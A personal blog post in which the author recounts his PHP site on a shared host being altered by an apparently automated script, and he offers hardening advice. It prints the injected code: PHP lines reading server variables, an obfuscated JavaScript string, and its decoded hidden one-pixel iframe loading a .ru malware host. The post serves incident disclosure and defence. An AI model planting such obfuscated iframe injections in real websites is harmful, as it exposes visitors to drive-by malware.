It seems somebody, somewhere has a fine sense of irony. A few days ago I posted about a sleezy popup advertising vendor. Then on Sunday morning I looked at my blog to find that it has been altered and code has been inserted in numerous places to force downloads of a (presumably corrupt) WMF file from a website with a .ru extension.
My web host was really, really, remarkably useless, so I am a bit short on details. I think the most likely situation is that an automated script running somewhere on the shared web host was spidering from account to account and inserting its payload into files with .php or .html extensions wherever it found one writable by the webserver user.
There are a few obvious morals to this story.
- There are scripts in the wild that target PHP sites on shared hosts. Be careful with yours.
- Have as few files as possible writable by the webserver user on a shared host. I am sure you already knew this, but it can be hard because,
- Writers of web apps, such as forums and blogs require you to have some files and directories writable, so if you are choosing such software for a shared host see if you can find ones that require as few writable files as possible, and
- No matter how low your expectations are for the quality of support you expect from a crappy <$10 per month web host, it is always possible for those expectations to be exceeded.
If you have rarely checked stuff sitting on a shared host, it would be worth grepping for some distinctive code from that (perhaps “error_reporting(0)”) to make sure you are not in the same boat.
The whole situation of course serves to make Aussie Hero Dale Begg-Smith all the more lovable in my eyes. For anybody who does not understand why people hate these sort of business practices and the arseclowns that practice them, it is because they make their money at the expense of wasting other people’s time. I spent half of my Sunday cleaning up this mess, and still have a few more domains to fix now (Monday night).
In case anybody is curious, the code generally looked like this:
$a=(isset($_SERVER["HTTP_HOST"]) ? $_SERVER["HTTP_HOST"] : $HTTP_HOST);
$b=(isset($_SERVER["SERVER_NAME"]) ? $_SERVER["SERVER_NAME"] : $SERVER_NAME);
$c=(isset($_SERVER["REQUEST_URI"]) ? $_SERVER["REQUEST_URI"] : $REQUEST_URI);
$g=(isset($_SERVER["HTTP_USER_AGENT"]) ? $_SERVER["HTTP_USER_AGENT"] : $HTTP_USER_AGENT);
$h=(isset($_SERVER["REMOTE_ADDR"]) ? $_SERVER["REMOTE_ADDR"] : $REMOTE_ADDR);
$n=(isset($_SERVER["HTTP_REFERER"]) ? $_SERVER["HTTP_REFERER"] : $HTTP_REFERER);
var k='?gly#vw|oh@%ylvlelolw|=#klgghq>#srvlwlrq=#devroxwh>#ohiw=#4>#wrs=#4%A?liudph#vuf@ %kwws=22xvhu4<1liudph1ux2Bv@4%#iudpherughu@3#yvsdfh@3#kvsdfh@3#zlgwk@4#khljkw@ 4#pdujlqzlgwk@3#pdujlqkhljkw@3#vfuroolqj@qrA?2liudphA?2glyA',t=0,h='';
which un-obsfucated is:
<div style="visibility: hidden; position: absolute; left: 1; top: 1"><iframe
src="http://user19.iframe.ru/?s=1" frameborder=0 vspace=0 hspace=0 width=1 height=1
marginwidth=0 marginheight=0 scrolling=no></iframe></div>
In one file I also found:
<a href = "http://mrsnebraskaamerica.com/catalog/images/sierra/hackmai-2.0.shtml" class=giepoaytr title="hackmai 2.0">hackmai 2.0</a>
There were also assorted files with generic sounding names created, like date.php and report.php and .htaccess files created or appended to to direct 404s to the new bogus files.